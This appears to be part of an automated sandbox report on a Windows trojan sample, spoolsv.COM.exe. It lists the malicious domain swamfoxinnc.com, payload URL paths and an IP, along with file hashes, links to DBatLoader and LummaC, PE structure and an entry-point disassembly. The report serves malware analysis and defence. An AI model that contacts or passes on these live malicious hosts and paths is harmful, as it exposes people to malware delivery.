https://swamfoxinnc.com/233_Svcrhpjadgy.	spoolsv.COM.exe, 00000005.00000003.1947111725.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2152748998.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1875655364.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcrhpjadgyt	spoolsv.COM.exe, 00000005.00000003.1632591145.00000000005CC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com:443/233_Svcrhpjadgy7	spoolsv.COM.exe, 00000005.00000003.2396794289.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.0000000000593000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcrhpjadgyr	spoolsv.COM.exe, 00000005.00000003.1356542930.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1632591145.00000000005CC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcrhpjadgyi	spoolsv.COM.exe, 00000005.00000003.1841751960.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2152748998.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2049371642.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2083372135.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1875655364.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2015505001.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2257555113.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1737114242.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcrhpjadgyl	spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2152748998.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1600782593.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcr	spoolsv.COM.exe, 00000005.00000002.2530227433.00000000209C3000.00000004.00001000.00020000.00000000.sdmp	true	unknown
https://swamfoxinnc.com/233_Svcrhpjadgyj	spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1600782593.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_SvcrhpjadgyA	spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_SvcrhpjadgyIv	spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000566000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.aapanel.com/new/download.html?invite_code=aapanele	spoolsv.COM.exe, 00000005.00000003.2081446105.00000000005F4000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1424107287.00000000005F4000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1908555054.00000000216B6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2015374252.0000000021692000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1839665207.00000000216B2000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1735009336.000000002166F000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2323851649.00000000216F3000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1424434949.00000000216AB000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2289596193.000000002169F000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1666608167.0000000021670000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1354494044.000000002167C000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1805561761.00000000005F4000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1424226209.0000000021673000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1464632700.000000002166E000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1632731035.00000000216C7000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1496784556.0000000021675000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1426618232.0000000021661000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2184812774.00000000216B6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1354494044.00000000216B5000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291723825.000000002169A000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1320809972.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://swamfoxinnc.com/233_Svcrhpjadgy~	spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2083372135.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_SvcrhpjadgyD	spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com:443/233_Svcrhpjadgyj	spoolsv.COM.exe, 00000005.00000003.2396794289.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.0000000000593000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/?	spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcrhpjadgy8	spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcrhpjadgy6	spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/rx	spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2049371642.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1499063783.00000000005C2000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2257555113.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1980977994.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1356542930.00000000005C2000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2083372135.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1464707281.00000000005C2000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1807574988.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
176.123.5.143	swamfoxinnc.com	Moldova Republic of		200019	ALEXHOSTMD	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579692
Start date and time:	2024-12-23 07:36:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	spoolsv.COM.exe
Detection:	MAL
Classification:	mal88.troj.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 23 Number of non-executed functions: 39
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:37:36	API Interceptor	36x Sleep call for process: spoolsv.COM.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
176.123.5.143	Svcrhpjadgyclc.cmd	Get hash	malicious	DBatLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
swamfoxinnc.com	Svcrhpjadgyclc.cmd	Get hash	malicious	DBatLoader	Browse	176.123.5.143

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ALEXHOSTMD	run.exe	Get hash	malicious	Unknown	Browse	91.208.206.195
	em_webdev_assignment_dec2024.doc	Get hash	malicious	Unknown	Browse	91.208.206.195
	Svcrhpjadgyclc.cmd	Get hash	malicious	DBatLoader	Browse	176.123.5.143
	armv6l.elf	Get hash	malicious	Unknown	Browse	45.84.8.182
	NLRpif3sEB.exe	Get hash	malicious	Unknown	Browse	213.226.100.197
	NLRpif3sEB.exe	Get hash	malicious	Unknown	Browse	213.226.100.197
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	176.123.5.14
	http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp	Get hash	malicious	HTMLPhisher	Browse	91.208.197.216
	2024-11 eStmt 5563019.exe	Get hash	malicious	ScreenConnect Tool	Browse	176.123.1.130
	otis.exe	Get hash	malicious	Unknown	Browse	91.132.92.231

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	176.123.5.143
	5XXofntDiN.exe	Get hash	malicious	LummaC	Browse	176.123.5.143
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	176.123.5.143
	schost.exe	Get hash	malicious	LummaC Stealer	Browse	176.123.5.143
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	176.123.5.143
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	176.123.5.143
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	176.123.5.143
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	176.123.5.143
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	176.123.5.143
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	176.123.5.143

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.012102322841487
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	spoolsv.COM.exe
File size:	1'019'392 bytes
MD5:	dfd15a4158ab979660435d6f3e95a3ec
SHA1:	6d5566cddfb4b99e82a6babdbd4536a24e8f6f73
SHA256:	baa12b649fddd77ef62ecd2b3169fab9bb5fbe78404175485f9a7fb48dc4456d
SHA512:	f33677b419f307c8970c0024e45162bc83e63141878ec2d15b59011261cb30aa412076b62b80fd4e9b99713a689c10699ea8682f67754b2569c83b22b1225e02
SSDEEP:	24576:Mt8U4ln77mcFj7LF6iNQj0KyEB1zcwfPM6d:0wnRQj0KyEB1zcwfPMA
TLSH:	34259E33E0506A35CD16D5BC0C73D6BC541ABD323F27AC87E6A16D58BE39B986C28193
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	1f7effffffffff3f

Static PE Info

General

Entrypoint:	0x473804
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c8740fc6ceabb3b749c3b5b31246f4e4

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00472770h
call 00007FA904498CE1h
mov eax, dword ptr [004E066Ch]
mov eax, dword ptr [eax]
call 00007FA9044EAEE5h
mov ecx, dword ptr [004E0764h]
mov eax, dword ptr [004E066Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [0047233Ch]
call 00007FA9044EAEE5h
mov eax, dword ptr [004E066Ch]
mov eax, dword ptr [eax]
call 00007FA9044EAF59h
call 00007FA904496CCCh
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe5000	0x26b6	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf1000	0x10400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xea000	0x6e8c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xe9000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe571c	0x604	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x719c0	0x71a00	c20c03fd36d5c6a0f5f2d60e61342924	False	0.5268796410891089	data	6.554263214536427	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x73000	0x84c	0xa00	e9a65ab665fe60801328ffc6f137da75	False	0.527734375	data	5.5780106542915835	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x74000	0x6c800	0x6c800	44ad69def854a892113c20f96a1e8921	False	0.38891939084101385	data	6.615175418760923	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xe1000	0x36b4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xe5000	0x26b6	0x2800	1ccb97a5a4355e75c3a3fc645dd0b749	False	0.309765625	data	4.905692986550938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xe8000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xe9000	0x18	0x200	aaefc7498fcb77b5ed918f8d25bd6004	False	0.05078125	data	0.2069200177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xea000	0x6e8c	0x7000	337ed535b030e2648bb3b67f6124d43d	False	0.6292898995535714	data	6.663115031589674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xf1000	0x10400	0x10400	780d920e700e79be7d346383e076ef83	False	0.4636268028846154	data	6.013951978737078	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xf1b18	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0xf1c4c	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0xf1d80	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0xf1eb4	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0xf1fe8	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0xf211c	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0xf2250	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0xf2384	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xf2554	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0xf2738	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xf2908	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0xf2ad8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0xf2ca8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0xf2e78	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0xf3048	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xf3218	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0xf33e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xf35b8	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0xf36a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 1889 x 1889 px/m			0.4228723404255319
RT_ICON	0xf3b08	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 1889 x 1889 px/m			0.29918032786885246
RT_ICON	0xf4490	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 1889 x 1889 px/m			0.2535178236397749
RT_ICON	0xf5538	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 1889 x 1889 px/m			0.18329875518672198
RT_DIALOG	0xf7ae0	0x52	data			0.7682926829268293
RT_DIALOG	0xf7b34	0x52	data			0.7560975609756098
RT_STRING	0xf7b88	0x244	data			0.46379310344827585
RT_STRING	0xf7dcc	0x188	data			0.5943877551020408
RT_STRING	0xf7f54	0xc8	data			0.685
RT_STRING	0xf801c	0x118	data			0.6035714285714285
RT_STRING	0xf8134	0x3a8	data			0.4305555555555556
RT_STRING	0xf84dc	0x3a4	data			0.38197424892703863
RT_STRING	0xf8880	0x370	data			0.4022727272727273
RT_STRING	0xf8bf0	0x3cc	data			0.33539094650205764
RT_STRING	0xf8fbc	0x214	data			0.49624060150375937
RT_STRING	0xf91d0	0xcc	data			0.6274509803921569
RT_STRING	0xf929c	0x194	data			0.5643564356435643
RT_STRING	0xf9430	0x3c4	data			0.3288381742738589
RT_STRING	0xf97f4	0x338	data			0.42961165048543687
RT_STRING	0xf9b2c	0x294	data			0.42424242424242425
RT_RCDATA	0xf9dc0	0x10	data			1.5
RT_RCDATA	0xf9dd0	0x304	data			0.7033678756476683
RT_RCDATA	0xfa0d4	0x712a	Delphi compiled form 'TForm1'			0.6897134967207456
RT_GROUP_CURSOR	0x101200	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x101214	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x101228	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x10123c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x101250	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x101264	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x101278	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x10128c	0x3e	data			0.8709677419354839

